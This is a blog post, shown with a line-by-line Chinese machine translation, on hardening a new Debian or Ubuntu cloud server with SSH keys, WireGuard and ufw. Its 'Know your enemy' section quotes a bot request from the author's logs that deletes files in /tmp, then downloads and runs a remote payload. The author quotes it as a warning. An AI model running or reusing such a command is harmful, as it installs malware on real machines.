- 保护Linux服务器的不情愿系统管理员指南 --- The Reluctant Sysadmin's Guide to Securing a Linux Server
- 跟踪《Reluctant Sysadmin's Guide》-pboyd.io --- Follow up to the Reluctant Sysadmin's Guide - pboyd.io
The Reluctant Sysadmin's Guide to Securing a Linux Server
保护Linux服务器的不情愿系统管理员指南
How to harden Linux when you don't really want to
如何在你不想的时候强化Linux
I wrote a follow-up to this guide, which you should probably consider along with this article.
我写了本指南的后续文章,您可能应该沿着阅读本文。
I’m not a sysadmin, and I don’t want to be. But I write software for the web, which means I’m never far from a server, and sometimes I’m the only one around. So even if I didn’t want the job, I have it, and I need to take the security of these hosts seriously. If you’re in a similar situation, this guide is for you. I’ll walk you through the steps I use to harden a new virtual machine from a cloud provider.
我不是系统管理员,我也不想当。但我是为网络编写软件的,这意味着我永远不会远离服务器,有时我是唯一一个在附近的人。所以即使我不想要这份工作,我有它,我需要认真对待这些主机的安全。如果你有类似的情况,这本指南是给你的。我将向您介绍我用来强化云提供商提供的新虚拟机的步骤。
Ideally, you would automate everything here. But this is a manual guide, where I assume you’ll be typing the commands. I know people still manually configure servers, and if you’re going to do it, at least do it securely. But I hope after you’ve gone through this once or twice, you’ll automate it. I’ll have more to say about automation at the end.
理想情况下,你会自动化这里的一切。但这是一个手动指南,我假设你会输入命令。我知道人们仍然手动配置服务器,如果你要这样做,至少要安全地做。但我希望在你经历过一两次之后,你会自动化它。我会在最后说更多关于自动化的事情。
I’m making a few assumptions to keep this post brief:
为了让这篇文章简短,我做了一些假设:
- Your host is a VM from a cloud provider (AWS, GCP, Linode, etc.) with a standard machine image.
您的主机是来自云提供商(AWS、GCP、Linode等)的VM。标准的机器图像。 - Your server has Debian 11 (Bullseye) or Ubuntu. The same basic procedure should work with any Linux distribution, but the details will vary.
您的服务器有Debian 11(靶心)或Ubuntu。相同的基本过程应该适用于任何Linux发行版,但细节会有所不同。 - You know your way around the Linux shell (if you can navigate directories and edit files, you’ll be fine).
您熟悉Linux shell(如果您能导航目录和编辑文件,就没问题了)。
Know your enemy 了解你的敌人
Before we get into it, we need to know what we’re up against, and first up are bots. As an experiment, I started a VM in AWS and enabled SSH passwords, and started an HTTP server. After only an hour, I had one failed SSH login and a dozen requests for things like:
在我们开始之前,我们需要知道我们要对付的是什么,首先是机器人。作为一个实验,我在AWS中启动了一个VM,启用了SSH密码,并启动了一个HTTP服务器。仅仅过了一个小时,我就有一个失败的SSH登录和十几个请求,比如:
GET /shell?cd+/tmp;rm+-rf+*;wget+ 107.6.255.231/jaws;sh+/tmp/jaws
I don’t know what jaws
does, but it doesn’t sound friendly. (Hopefully, it’s obvious, but don’t run that–if you really must, I reversed the last octet of the IP address.)
我不知道 jaws
是做什么的,但它听起来不友好。(希望这是显而易见的,但不要运行它-如果你真的必须,我反转了IP地址的最后一个八位字节。
These bots scan the Internet looking for any vulnerable systems. The good news is that they’re not out to get you so much as they’re out to get anyone. These attacks are usually easy to stop, keep your host updated, and be a little bit tougher than the next host on their list.
这些机器人扫描互联网,寻找任何易受攻击的系统。好消息是,他们不是为了得到你这么多,因为他们出去得到任何人。这些攻击通常很容易阻止,让您的主机保持更新,并且比他们列表中的下一个主机更强硬。
But sometimes, there is someone out to get you personally, and sadly no system is truly safe. The best we can do is block what’s known, put up defenses at every layer, and hope we’ve become more trouble than we’re worth. On that cheery note, let’s dive in.
但有时,有人会亲自来找你,可悲的是,没有一个系统是真正安全的。我们所能做的就是封锁已知的信息,在每一层都建立防御,希望我们已经变得比我们的价值更麻烦。在这欢快的音符,让我们潜入。
Update the software 更新软件
Even if you just launched it, your system is probably already outdated. There might even be a critical security vulnerability that didn’t make it into the VM image. So to start:
即使你刚刚启动它,你的系统可能已经过时了。甚至可能有一个关键的安全漏洞没有进入VM映像。首先,
sudo apt update
sudo apt upgrade
Create a user account
创建用户帐户
You should not log in directly as root
. Use another account and sudo
when you need superuser access. Your cloud VM likely has another account already, which you can use, if you wish. But I prefer to make a new account because the default one tends to be obvious.
您不应该直接以 root
身份登录。当您需要超级用户访问权限时,请使用其他帐户和 sudo
。您的云虚拟机可能已经有了另一个帐户,如果您愿意,可以使用它。但我更喜欢创建一个新帐户,因为默认帐户往往是显而易见的。
sudo useradd -m -s /bin/bash \
-G users,sudo \
alfred
Name your account whatever you like, but avoid anything easily guessable, like admin
.
给你的账户取任何你喜欢的名字,但要避免任何容易猜到的名字,比如 admin
。
The -G
line lists groups that the user belongs to. The sudo
group will grant access to run commands as root
(assuming sudo
is configured this way, which it usually is).
-G
行列出用户所属的组。 sudo
组将授予运行命令的访问权限,如 root
(假设 sudo
以这种方式配置,通常是这样)。
You’ll need a password for this account. You won’t log in with this password, but you will need it for sudo
, so pick a good one. Ideally, generate a random one in your password manager. To set the password:
您需要此帐户的密码。您不会使用此密码登录,但您将需要它用于 sudo
,因此请选择一个好密码。理想情况下,在密码管理器中生成一个随机密码。要设置密码,请执行以下操作:
sudo passwd alfred
If your VM image disables password logins with SSH, copy the key from the default account to your new account:
如果您的VM映像禁用SSH密码登录,请将密钥从默认帐户复制到新帐户:
cp -r ~{admin,alfred}/.ssh
chown -R alfred:alfred ~alfred/.ssh/
Log out and back in as your new user and verify that sudo works:
注销并以新用户身份重新登录,然后验证sudo是否正常工作:
sudo bash -c 'echo "I am $USER!"'
It should ask for your password. If it works without a password, then run sudo visudo
and replace the line that begins with %sudo
with:
它应该会询问您的密码。如果它在没有密码的情况下工作,则运行 sudo visudo
并将以 %sudo
开头的行替换为:
%sudo ALL=(ALL:ALL) ALL
Make sure sudo
works before moving on because you can lock yourself out of root
if you’re not careful.
在继续之前,确保 sudo
工作,因为如果你不小心的话,你可能会把自己锁在 root
之外。
We don’t want to leave old unused accounts around. So if there’s a default account from your VM image, delete it:
我们不想留下未使用的旧帐户。因此,如果您的VM映像中存在默认帐户,请删除它:
sudo userdel admin
Disable root logins
禁用root登录
Now that we have an account with sudo
privileges, there’s no reason anyone should log in with root
. First, disable root at the console:
既然我们有一个具有 sudo
权限的帐户,那么任何人都没有理由使用 root
登录。首先,在控制台禁用root:
sudo passwd -l root
Now prevent root
from logging in over SSH. Add (or uncomment) this line in /etc/ssh/sshd_config
:
现在阻止 root
通过SSH登录。在 /etc/ssh/sshd_config
中添加(或取消注释)这一行:
PermitRootLogin no
You will have to restart sshd
for the change to take effect, but we’ll have a few more SSH config changes. If you’re anxious to do it now, run:
您必须重新启动 sshd
以使更改生效,但我们将有更多的SSH配置更改。如果你现在就想做,那就跑:
sudo systemctl restart ssh
umask
We need to change the default umask
, which controls the permissions on new files and directories. Most Linux distributions default umask
to 022
, which gives read access to every user. Run umask
to see your current setting.
我们需要更改默认的 umask
,它控制新文件和目录的权限。大多数Linux发行版默认为 umask
到 022
,这为每个用户提供了读访问权限。运行 umask
以查看您的当前设置。
We want a umask
of 077
, which removes access to every user except the one who created the file. 027
would work, too (full access for the owner, read for group, and nothing for other). The point is that it’s safer to loosen file permissions when needed rather than tighten them.
我们需要一个 077
的 umask
,它删除了除创建文件的用户之外的所有用户的访问权限。 027
也可以工作(所有者的完全访问权限,组的读取权限,其他的什么都不做)。关键是,在需要时放松文件权限比收紧它们更安全。
For sh
and bash
, we can add umask
to /etc/profile
:
对于 sh
和 bash
,我们可以将 umask
添加到 /etc/profile
:
sudo bash -c 'echo -e "\numask 077" >> /etc/profile'
If you use another shell, I will assume you know where to configure it.
如果您使用另一个shell,我假设您知道在哪里配置它。
Log out and back in, then verify new files have the desired permissions:
注销并重新登录,然后验证新文件是否具有所需权限:
$ touch xyz ; ls -l xyz ; rm xyz
-rw------- 1 alfred alfred 0 Mar 25 11:23 xyz
SSH keys SSH密钥
I know you, and I always use new, randomly generated passwords for every account, but most people don’t. Someday you may grant access to someone with bad password hygiene, so it’s best to start right and only allow logins by SSH key. Your cloud provider probably already configured an SSH key for you, but don’t skip this section because the default settings still need to be tweaked.
我知道你,我总是使用新的,随机生成的密码为每个帐户,但大多数人没有。有一天你可能会授予访问某人与坏密码卫生,所以最好是正确的开始,只允许登录SSH密钥。您的云提供商可能已经为您配置了SSH密钥,但不要跳过本节,因为默认设置仍需要调整。
If you have an SSH key already that you want to use, then great. If not, and you’re on Linux or Mac, generate one:
如果你已经有一个SSH密钥,你想使用,那么很好。如果没有,并且您使用的是Linux或Mac,请生成一个:
ssh-keygen -t rsa -b 4096
If you’re on Windows, PuTTYgen should work (but don’t ask me about it because I’ve never used it).
如果你在Windows上,PuTTYgen应该可以工作(但不要问我,因为我从来没有使用过它)。
Back on the server now. By default, SSH reads authorized keys from $HOME/.ssh/authorized_keys
. The problem is that if an attacker finds an exploit that lets them write one file, you can be sure they’ll attempt to add a public key to $HOME/.ssh/authorized_keys
. It’s safer if only root
can add an SSH key.
现在回到服务器上。默认情况下,SSH从 $HOME/.ssh/authorized_keys
读取授权密钥。问题是,如果攻击者发现一个漏洞,让他们写一个文件,你可以肯定他们会尝试添加一个公钥到 $HOME/.ssh/authorized_keys
。如果只有 root
可以添加SSH密钥会更安全。
We need a central place to keep public keys:
我们需要一个中心位置来保存公钥:
sudo mkdir -p /etc/ssh/authorized_keys
sudo chmod 0711 /etc/ssh/authorized_keys
The permissions on the directory give root
full access. Everyone else can read files but not create them or even get a directory listing.
目录上的权限给予 root
完全访问权限。其他人可以读取文件,但不能创建文件,甚至不能获得目录列表。
We’ll create one file in this directory for each user with SSH access. If you already have an authorized_keys
file, you can copy it into place:
我们将在此目录中为每个具有SSH访问权限的用户创建一个文件。如果你已经有一个 authorized_keys
文件,你可以将它复制到适当的位置:
sudo cp ~alfred/.ssh/authorized_keys /etc/ssh/authorized_keys/alfred
If not, paste the public key:
如果没有,请粘贴公钥:
sudo bash -c 'echo your public ssh key > /etc/ssh/authorized_keys/alfred'
The last step is to make the file readable by the user:
最后一步是使文件对用户可读:
sudo setfacl -m u:alfred:r /etc/ssh/authorized_keys/alfred
If setfacl
doesn’t exist, install it with sudo apt install acl
.
如果 setfacl
不存在,请使用 sudo apt install acl
安装。
Before continuing, make sure that your user can read their authorized_keys
file:
在继续之前,请确保您的用户可以读取其 authorized_keys
文件:
cat /etc/ssh/authorized/keys/$USER
If you can’t read it now, SSH won’t be able to read it from your account either, and you’ll be locked out.
如果您现在无法读取它,SSH也无法从您的帐户读取它,您将被锁定。
Now configure SSH to read public keys from our central directory by adding this to /etc/ssh/sshd_config
:
现在配置SSH从我们的中央目录读取公钥,方法是将以下内容添加到 /etc/ssh/sshd_config
:
AuthorizedKeysFile /etc/ssh/authorized_keys/%u
While we’re editing sshd_config
, we also want to disable password logins (this may already be set):
当我们编辑 sshd_config
时,我们还想禁用密码登录(这可能已经设置):
PasswordAuthentication no
Restart sshd
for those changes to take effect:
重新启动 sshd
以使这些更改生效:
sudo systemctl restart ssh
Don’t log out yet. But do log in from another terminal window to make sure it works.
先别退出但请从另一个终端窗口登录,以确保它的工作。
If you have an old authorized_keys
file, delete it: rm ~/.ssh/authorized_keys
(it isn’t insecure, it’s just confusing to leave an unused file in place).
如果你有一个旧的 authorized_keys
文件,删除它: rm ~/.ssh/authorized_keys
(这不是不安全的,只是让一个未使用的文件留在原地令人困惑)。
WireGuard
We’ve done the basics to lock down SSH. But, ideally, SSH would not be accessible from the Internet. You could use firewall rules to restrict access to specific IP addresses. But in my case, I have a dynamic IP, and I don’t want to run a bastion host, so that won’t work for me. Fortunately, WireGuard makes running a VPN easy.
我们已经完成了锁定SSH的基本操作。但是,在理想情况下,SSH不能从Internet访问。您可以使用防火墙规则来限制对特定IP地址的访问。但在我的情况下,我有一个动态的IP,我不想运行一个堡垒主机,所以这不会为我工作。幸运的是,WireGuard使运行VPN容易。
If you haven’t heard of it, WireGuard is a peer-to-peer VPN. There isn’t a central server. On each host, you set the public keys of its authorized peers. It’s a little bit work to configure, but it works well.
如果你还没有听说过,WireGuard是一个点对点VPN。没有中央服务器。在每台主机上,设置其授权对等方的公钥。这是一个小的工作配置,但它工作得很好。
One drawback to WireGuard is that the connection goes both ways. If your server is compromised, the attacker can reach any configured peer. Personally, I have the other side of the WireGuard tunnel in a local VM that blocks inbound connections from the tunnel.
WireGuard的一个缺点是连接是双向的。如果您的服务器受到危害,攻击者可以到达任何配置的对等端。就我个人而言,我在本地VM中拥有WireGuard隧道的另一端,它阻止来自隧道的入站连接。
However you do it, I will assume you have some other host already configured with WireGuard. Before we get started, you’ll need:
无论你做什么,我都会假设你有一些其他的主机已经配置了WireGuard。在我们开始之前,您需要:
-
The public key and private IP of the peer you want to connect from.
要连接的对等体的公钥和私有IP。 -
The private IP to assign to the server. It should be in the same subnet as the peer.
要分配给服务器的专用IP。它应该与对等体位于同一子网中。
Start by installing WireGuard. It’s simple in Debian Bullseye and recent Ubuntu versions:
首先安装WireGuard。在Debian Bullseye和最近的Ubuntu版本中很简单:
sudo apt install wireguard
Now generate a key pair:
现在生成一个密钥对:
sudo mkdir -p /etc/wireguard
sudo sh -c 'wg genkey | tee /etc/wireguard/private_key | wg pubkey > /etc/wireguard/public_key'
And create a config file in /etc/wireguard/wg0.conf
:
然后在 /etc/wireguard/wg0.conf
中创建一个配置文件:
[Interface]
Address = 192.168.50.2/24
PrivateKey = <THE PRIVATE KEY>
ListenPort = 12345
[Peer]
PublicKey = u8Uo3ab+psKeOpciUIaNuBulNrOCXrU8GN3yD06/0WM=
AllowedIPs = 192.168.50.1/32
You’ll need to set the address to an IP on the same subnet as the computer you’re accessing it from. Also, configure the correct AllowedIPs
and PublicKey
. You can copy/paste the PrivateKey
, or use :r /etc/wireguard/private_key
in VIM.
您需要将地址设置为与您访问它的计算机位于同一子网中的IP。另外,配置正确的 AllowedIPs
和 PublicKey
。您可以复制/粘贴 PrivateKey
,或在Vim中使用 :r /etc/wireguard/private_key
。
Set ListenPort
to any random ephemeral port number. You can generate one in Bash:
将 ListenPort
设置为任意临时端口号。你可以在Bash中创建一个:
echo $(($SRANDOM % 55535 + 10000))
The port number isn’t a secret per se, but WireGuard hides itself well, so we might as well prevent an attacker from knowing it.
端口号本身并不是秘密,但WireGuard隐藏得很好,所以我们也可以防止攻击者知道它。
If your cloud provider has a firewall, don’t forget to open WireGuard’s UDP port.
如果您的云提供商有防火墙,请不要忘记打开WireGuard的UDP端口。
Now start WireGuard: 现在启动WireGuard:
sudo systemctl start wg-quick@wg0
sudo systemctl enable wg-quick@wg0
Don’t forget to configure the server as a peer on the computer you’re connecting from. Make sure you can connect to SSH through the WireGuard IP.
不要忘记将服务器配置为您正在连接的计算机上的对等点。确保您可以通过WireGuard IP连接到SSH。
Firewall 防火墙
Your cloud provider probably has a firewall already. If you’re happy with that, allow WireGuard, block SSH, and call it a day. But if you don’t don’t like that firewall, you can install one on the server.
您的云提供商可能已经有防火墙了。如果你对此感到满意,允许WireGuard,阻止SSH,然后收工。但是如果你不喜欢那个防火墙,你可以在服务器上安装一个。
On Debian based systems, I use ufw
. Install it with:
在基于Debian的系统上,我使用 ufw
。安装它:
sudo apt install ufw
The first rule we need allows anyone to access the WireGuard port. Change $WG_PORT
to whatever you configured in /etc/wireguard/wg0.conf
:
我们需要的第一条规则允许任何人访问WireGuard端口。将 $WG_PORT
更改为您在 /etc/wireguard/wg0.conf
中配置的任何内容:
sudo ufw allow in on eth0 to any port $WG_PORT proto udp
Also run ip a
and make sure the interface you want to filter is actually eth0
, sometimes it may not be.
同时运行 ip a
并确保你想要过滤的接口实际上是 eth0
,有时可能不是。
Now we want to allow SSH on WireGuard:
现在我们想在WireGuard上允许SSH:
sudo ufw allow in on wg0 to any port 22 proto tcp
And add any other ports you want open:
并添加您想要打开的任何其他端口:
sudo ufw allow in on eth0 to any port 80 proto tcp
sudo ufw allow in on eth0 to any port 443 proto tcp
When your rules are in place, cross your fingers and turn on ufw
:
当你的规则到位,交叉手指,打开 ufw
:
sudo ufw enable
With any luck, SSH remains connected. Don’t log out until you confirm you can get a new SSH connection.
幸运的是,SSH仍然保持连接。在确认可以获得新的SSH连接之前,请不要注销。
Next steps 后续步骤
There are a few more things you should consider:
还有几件事你应该考虑:
-
Find a process to keep your system up to date. Debian’s Automatic Update is one option, though you may want some oversight.
找到一个过程来保持您的系统最新。Debian的自动更新是一个选择,尽管你可能需要一些监督。 -
Most attacks won’t be against what we’ve covered in this guide, but against the applications you install next. Properly done, containers can limit the impact.
大多数攻击不会针对我们在本指南中介绍的内容,而是针对您接下来安装的应用程序。如果处理得当,容器可以限制影响。
Finally, you should automate the job of initializing your host. With practice, this process can be done manually in about 30 minutes, but your automation will be a couple of minutes at most. Manually typing the commands is also error-prone, and a few steps can lock you out if you aren’t careful.
最后,您应该自动化初始化主机的工作。通过练习,这个过程可以在大约30分钟内手动完成,但自动化最多需要几分钟。手动输入命令也很容易出错,如果不小心的话,几个步骤可能会把你锁在外面。
If you aren’t sure where to start with automation, I suggest you start simple. For example, write an init script that gets your host to a known state before Ansible (or a similar tool) takes over.
如果你不确定从哪里开始自动化,我建议你从简单的开始。例如,编写一个初始化脚本,在Ansible(或类似工具)接管之前将主机置于已知状态。
If you want to use an init script, I have published some scripts which do everything in this blog post, which you can use directly or as a base for what you really need.
如果你想使用一个初始化脚本,我已经发布了一些脚本,它们可以完成这篇博客文章中的所有功能,你可以直接使用它们,也可以作为你真正需要的基础。
发表评论